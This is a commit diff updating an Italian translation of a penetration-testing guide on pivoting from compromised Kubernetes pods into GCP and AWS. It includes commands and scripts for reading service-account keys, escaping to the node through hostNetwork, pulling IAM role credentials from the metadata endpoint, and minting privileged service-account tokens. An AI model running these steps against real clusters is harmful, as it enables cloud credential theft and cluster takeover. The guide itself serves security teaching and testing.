Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

2026-01-13 05:16:32 -08:00 · 2025-08-28 18:02:37 +00:00
parent 30cb38f7a5
commit 2fc26041f9
1 changed files with 75 additions and 55 deletions
--- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
@@ -4,62 +4,62 @@

 ## GCP

-Se stai eseguendo un cluster k8s all'interno di GCP, probabilmente vorrai che alcune applicazioni in esecuzione all'interno del cluster abbiano accesso a GCP. Ci sono 2 modi comuni per farlo:
+Se stai eseguendo un cluster k8s all'interno di GCP probabilmente vorrai che qualche applicazione in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo:

-### Montare le chiavi GCP-SA come segreto
+### Mounting GCP-SA keys as secret

-Un modo comune per dare **accesso a un'applicazione kubernetes a GCP** è:
+A common way to give **access to a kubernetes application to GCP** is to:

- Creare un GCP Service Account
- Assegnare le autorizzazioni desiderate
- Scaricare una chiave json del SA creato
- Montarla come un segreto all'interno del pod
- Impostare la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS che punta al percorso in cui si trova il json.
+- Crea una GCP Service Account
+- Associa ad essa i permessi desiderati
+- Scarica una chiave json della SA creata
+- Montala come secret all'interno del pod
+- Imposta la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS puntando al percorso dove si trova il json.

 > [!WARNING]
-> Pertanto, come **attaccante**, se comprometti un container all'interno di un pod, dovresti controllare quella **variabile** **env** e i **file** **json** con le credenziali GCP.
+> Pertanto, come **attacker**, se comprometti un container all'interno di un pod, dovresti controllare quella **env** **variable** e i **json** **files** con le credenziali GCP.

-### Relazionare il json GSA al segreto KSA
+### Relating GSA json to KSA secret

-Un modo per dare accesso a un GSA a un cluster GKE è legarli in questo modo:
+Un modo per fornire accesso a una GSA a un GKE cluster è legarli in questo modo:

- Creare un account di servizio Kubernetes nello stesso namespace del tuo cluster GKE utilizzando il seguente comando:
+- Crea una Kubernetes service account nello stesso namespace del tuo GKE cluster usando il seguente comando:
 ```bash
-Copy codekubectl create serviceaccount <service-account-name>
+kubectl create serviceaccount <service-account-name>
 ```
- Crea un Secret di Kubernetes che contenga le credenziali dell'account di servizio GCP a cui desideri concedere accesso al cluster GKE. Puoi farlo utilizzando lo strumento da riga di comando `gcloud`, come mostrato nel seguente esempio:
+- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere l'accesso al cluster GKE. Puoi farlo usando lo strumento da riga di comando `gcloud`, come mostrato nell'esempio seguente:
 ```bash
-Copy codegcloud iam service-accounts keys create <key-file-name>.json \
+gcloud iam service-accounts keys create <key-file-name>.json \
 --iam-account <gcp-service-account-email>
 kubectl create secret generic <secret-name> \
 --from-file=key.json=<key-file-name>.json
 ```
- Collega il Kubernetes Secret all'account di servizio Kubernetes utilizzando il seguente comando:
+- Associa il Kubernetes Secret al Kubernetes service account usando il seguente comando:
 ```bash
-Copy codekubectl annotate serviceaccount <service-account-name> \
+kubectl annotate serviceaccount <service-account-name> \
 iam.gke.io/gcp-service-account=<gcp-service-account-email>
 ```
 > [!WARNING]
-> Nel **secondo passaggio** sono state impostate le **credenziali del GSA come segreto del KSA**. Quindi, se puoi **leggere quel segreto** dall'**interno** del cluster **GKE**, puoi **escalare a quel servizio account GCP**.
+> Nel **secondo passaggio** sono state impostate le **credenziali della GSA come secret della KSA**. Quindi, se puoi **leggere quel secret** dall'**interno** del **cluster GKE**, puoi **escalate to that GCP service account**.

-### Identità del Carico di Lavoro GKE
+### GKE Workload Identity

-Con l'Identità del Carico di Lavoro, possiamo configurare un [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come un [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I pod che girano con il Kubernetes service account si autenticheranno automaticamente come il Google service account quando accedono alle API di Google Cloud.
+Con Workload Identity, possiamo configurare una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I Pods che girano con la Kubernetes service account si autenticheranno automaticamente come la Google service account quando accederanno alle Google Cloud APIs.

-La **prima serie di passaggi** per abilitare questo comportamento è **abilitare l'Identità del Carico di Lavoro in GCP** ([**passaggi**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare il GCP SA che vuoi che k8s impersoni.
+La **prima serie di passaggi** per abilitare questo comportamento è **abilitare Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare il GCP SA che vuoi che k8s impersoni.

- **Abilita l'Identità del Carico di Lavoro** su un nuovo cluster
+- **Abilitare Workload Identity** su un nuovo cluster
 ```bash
 gcloud container clusters update <cluster_name> \
 --region=us-central1 \
 --workload-pool=<project-id>.svc.id.goog
 ```
- **Crea/Aggiorna un nuovo nodepool** (I cluster Autopilot non necessitano di questo)
+- **Crea/Aggiorna un nuovo nodepool** (I cluster Autopilot non ne hanno bisogno)
 ```bash
 # You could update instead of create
 gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
 ```
- Crea il **GCP Service Account da impersonare** da K8s con permessi GCP:
+- Crea la **GCP Service Account da impersonare** da K8s con permessi GCP:
 ```bash
 # Create SA called "gsa2ksa"
 gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
 --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
 --role "roles/iam.securityReviewer"
 ```
- **Connetti** al **cluster** e **crea** l'**account di servizio** da utilizzare
+- **Connettiti** al **cluster** e **crea** il **service account** da usare
 ```bash
 # Get k8s creds
 gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
 # Create the KSA
 kubectl create serviceaccount ksa2gcp -n testing
 ```
- **Collegare il GSA con il KSA**
+- **Associare la GSA alla KSA**
 ```bash
 # Allow the KSA to access the GSA in GCP IAM
 gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
 --namespace testing \
 iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
 ```
- Esegui un **pod** con il **KSA** e controlla l'**accesso** al **GSA:**
+- Esegui un **pod** con la **KSA** e verifica l'**access** a **GSA:**
 ```bash
 # If using Autopilot remove the nodeSelector stuff!
 echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
 curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
 gcloud auth list
 ```
-Controlla il seguente comando per autenticarti nel caso sia necessario:
+Controlla il seguente comando per autenticarti, se necessario:
 ```bash
 gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
 ```
 > [!WARNING]
-> Come attaccante all'interno di K8s dovresti **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che l'SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe cercare di abusare di ogni KSA nel cluster e controllare se ha accesso.\
-> Da GCP è sempre interessante enumerare i binding e sapere **quale accesso stai dando agli SAs all'interno di Kubernetes**.
+> Come attaccante dentro K8s dovresti **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che il SA può accedere a qualcosa in GCP. Un'altra opzione è provare ad abusare ogni KSA nel cluster e verificare se ha accesso.\
+> Da GCP è sempre interessante enumerare i binding e sapere **quali accessi stai concedendo agli SAs dentro Kubernetes**.

-Questo è uno script per **iterare facilmente su tutte le definizioni dei pod** **cercando** quell'**annotazione**:
+Questo è uno script per **iterare facilmente sulle definizioni di tutti i pods** cercando quell'**annotazione**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
 ```
 ## AWS

-### Kiam & Kube2IAM (ruolo IAM per i Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

-Un modo (obsoleto) per dare ruoli IAM ai Pods è utilizzare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Fondamentalmente, dovrai eseguire un **daemonset** nel tuo cluster con un **tipo di ruolo IAM privilegiato**. Questo daemonset sarà quello che darà accesso ai ruoli IAM ai pods che ne hanno bisogno.
+Un modo (obsoleto) per assegnare IAM Roles ai Pods è usare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Fondamentalmente dovrai eseguire un **daemonset** nel tuo cluster con una **sorta di IAM role privilegiato**. Questo daemonset sarà quello che fornirà l'accesso ai ruoli IAM ai Pods che ne hanno bisogno.

-Prima di tutto, devi configurare **quali ruoli possono essere accessibili all'interno del namespace**, e lo fai con un'annotazione all'interno dell'oggetto namespace:
+Prima di tutto devi configurare **quali ruoli possono essere accessibili all'interno del namespace**, e lo fai con un'annotazione all'interno dell'oggetto namespace:
 ```yaml:Kiam
 kind: Namespace
 metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
 ["role-arn"]
 name: default
 ```
-Una volta che lo spazio dei nomi è configurato con i ruoli IAM che i Pod possono avere, puoi **indicare il ruolo che desideri in ciascuna definizione del pod con qualcosa come**:
+Una volta che il namespace è configurato con i ruoli IAM che i Pods possono avere, puoi **indicare il ruolo che desideri in ogni definizione di pod con qualcosa del genere**:
 ```yaml:Kiam & Kube2iam
 kind: Pod
 metadata:
@@ -171,9 +171,9 @@ annotations:
 iam.amazonaws.com/role: reportingdb-reader
 ```
 > [!WARNING]
-> Come attaccante, se **trovi queste annotazioni** nei pod o nei namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni r**uolo che è già **utilizzato dai pod** e altro (se hai accesso all'account AWS elenca i ruoli).
+> Come attaccante, se **trovi queste annotazioni** in pods o namespaces o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni ruolo** che è già **usato dai pods** e altro (se hai accesso all'account AWS, elenca i ruoli).

-#### Crea Pod con Ruolo IAM
+#### Creare un Pod con IAM Role

 > [!NOTE]
 > Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi.
@@ -192,14 +192,14 @@ image: alpine
 command: ["/bin/sh"]
 args: ["-c", "sleep 100000"]' | kubectl apply -f -
 ```
-### IAM Role per gli Account di Servizio K8s tramite OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+### IAM Role per K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

-Questo è il **modo raccomandato da AWS**.
+Questo è il modo raccomandato da AWS.

-1. Prima di tutto, è necessario [creare un provider OIDC per il cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
-2. Poi si crea un ruolo IAM con i permessi di cui avrà bisogno l'SA.
-3. Creare una [relazione di fiducia tra il ruolo IAM e l'SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) nome (o i namespace che danno accesso al ruolo a tutti gli SA del namespace). _La relazione di fiducia controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome dell'SA_.
-4. Infine, **creare un SA con un'annotazione che indica l'ARN del ruolo**, e i pod in esecuzione con quel SA avranno **accesso al token del ruolo**. Il **token** è **scritto** all'interno di un file e il percorso è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (predefinito: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
+1. Prima di tutto devi [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
+2. Poi crei un IAM role con i permessi di cui la SA avrà bisogno.
+3. Crea una [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (o i namespace, consentendo l'accesso al ruolo a tutte le SA del namespace). _La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA_.
+4. Infine, **crea una SA con un'annotazione che indica l'ARN del role**, e i pods che girano con quella SA avranno **accesso al token del role**. Il **token** è **scritto** all'interno di un file e il percorso è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
 ```bash
 # Create a service account with a role
 cat >my-service-account.yaml <<EOF
@@ -216,19 +216,19 @@ kubectl apply -f my-service-account.yaml
 # Add a role to an existent service account
 kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
 ```
-Per **ottenere aws utilizzando il token** da `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` esegui:
+Per **ottenere aws usando il token** da `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` esegui:
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 ```
 > [!WARNING]
-> Come attaccante, se puoi enumerare un cluster K8s, controlla per **service accounts con quella annotazione** per **escalare a AWS**. Per farlo, basta **exec/create** un **pod** utilizzando uno dei **privileged service accounts** IAM e rubare il token.
+> Come attaccante, se riesci a enumerare un cluster K8s, controlla la presenza di **service accounts with that annotation** per **escalate to AWS**. Per farlo, basta **exec/create** un **pod** usando uno degli IAM **privileged service accounts** e rubare il token.
 >
-> Inoltre, se sei all'interno di un pod, controlla le variabili d'ambiente come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**
+> Inoltre, se sei dentro un pod, controlla le env variables come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**

 > [!CAUTION]
-> A volte la **Trust Policy di un ruolo** potrebbe essere **mal configurata** e invece di dare accesso AssumeRole al service account previsto, lo dà a **tutti i service accounts**. Pertanto, se sei in grado di scrivere un'annotazione su un service account controllato, puoi accedere al ruolo.
+> A volte la **Turst Policy of a role** potrebbe essere **bad configured** e, invece di concedere l'accesso AssumeRole al service account previsto, lo concede a **all the service accounts**. Pertanto, se sei in grado di scrivere un'annotation su un controlled service account, puoi accedere al role.
 >
-> Controlla la **seguente pagina per ulteriori informazioni**:
+> Consulta la **pagina seguente per maggiori informazioni**:

 {{#ref}}
 ../aws-security/aws-basic-information/aws-federation-abuse.md
@@ -236,7 +236,7 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/

 ### Trova Pods e SAs con IAM Roles nel Cluster

-Questo è uno script per **iterare facilmente su tutti i pod e le definizioni di sas** **cercando** quella **annotazione**:
+Questo è uno script per iterare facilmente sulle definizioni di **pods** e **SAs** cercando quell'**annotation**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +253,26 @@ echo ""
 done
 done | grep -B 1 "amazonaws.com"
 ```
-### Node IAM Role
+### Node IAM Role a cluster-admin

-La sezione precedente riguardava come rubare i ruoli IAM con i pod, ma nota che un **Node del** cluster K8s sarà un **istanza all'interno del cloud**. Questo significa che è altamente probabile che il Node **abbia un nuovo ruolo IAM che puoi rubare** (_nota che di solito tutti i nodi di un cluster K8s avranno lo stesso ruolo IAM, quindi potrebbe non valere la pena provare a controllare ogni nodo_).
+La sezione precedente spiegava come rubare IAM role con i pod, ma tieni presente che un **Node del** cluster K8s sarà un'**istanza all'interno del cloud**. Questo significa che il Node è molto probabile che **abbia un IAM role che puoi rubare** (_nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node_).

-Tuttavia, c'è un requisito importante per accedere all'endpoint dei metadati dal nodo, devi essere nel nodo (sessione ssh?) o almeno avere la stessa rete:
+Per accedere al metadata endpoint del node devi:
+- Essere in un pod e avere il metadata endpoint configurato ad almeno 2 tcp hops. Questa è la misconfiguration più comune poiché di solito diversi pod nel cluster richiedono accesso al metadata endpoint per non interrompersi e molte aziende decidono semplicemente di permettere l'accesso al metadata endpoint da tutti i pod del cluster.
+- Essere in un pod con `hostNetwork` abilitato.
+- Fare escape al Node e accedere direttamente al metadata endpoint.
+
+(Nota che il metadata endpoint è a 169.254.169.254 come sempre).
+
+Per **escape to the node** puoi usare il seguente comando per eseguire un pod con `hostNetwork` abilitato:
 ```bash
 kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
 ```
-### Rubare il Token del Ruolo IAM
+### Steal IAM Role Token

-In precedenza abbiamo discusso di come **allegare i Ruoli IAM ai Pod** o addirittura di come **fuggire al Nodo per rubare il Ruolo IAM** che l'istanza ha ad esso allegato.
+In precedenza abbiamo discusso come **attach IAM Roles to Pods** o anche come **escape to the Node to steal the IAM Role** che è stato assegnato all'istanza.

-Puoi utilizzare il seguente script per **rubare** le tue nuove e faticosamente guadagnate **credenziali del ruolo IAM**:
+Puoi usare lo script seguente per **steal** le tue nuove duramente ottenute **IAM role credentials**:
 ```bash
 IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
 if [ "$IAM_ROLE_NAME" ]; then
@@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
 fi
 fi
 ```
+### Privesc to cluster-admin
+
+In sintesi: se è possibile **accedere all'EKS Node IAM role** da un pod, è possibile **compromettere l'intero kubernetes cluster**.
+
+Per maggiori informazioni consulta [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Come riassunto, il ruolo IAM EKS predefinito assegnato ai nodi EKS è `system:node` all'interno del cluster. Questo ruolo è molto interessante, sebbene sia limitato dalle [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) di kubernetes.
+
+Tuttavia, il nodo può sempre **generate tokens for service accounts** che girano in pod all'interno del nodo. Quindi, se il nodo esegue un pod con un service account privilegiato, il nodo può generare un token per quel service account e usarlo per impersonare il service account come in:
+```bash
+kubectl --context=node1 create token -n ns1 sa-priv \
+--bound-object-kind=Pod \
+--bound-object-name=pod-priv \
+--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
+```
 ## Riferimenti

 - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)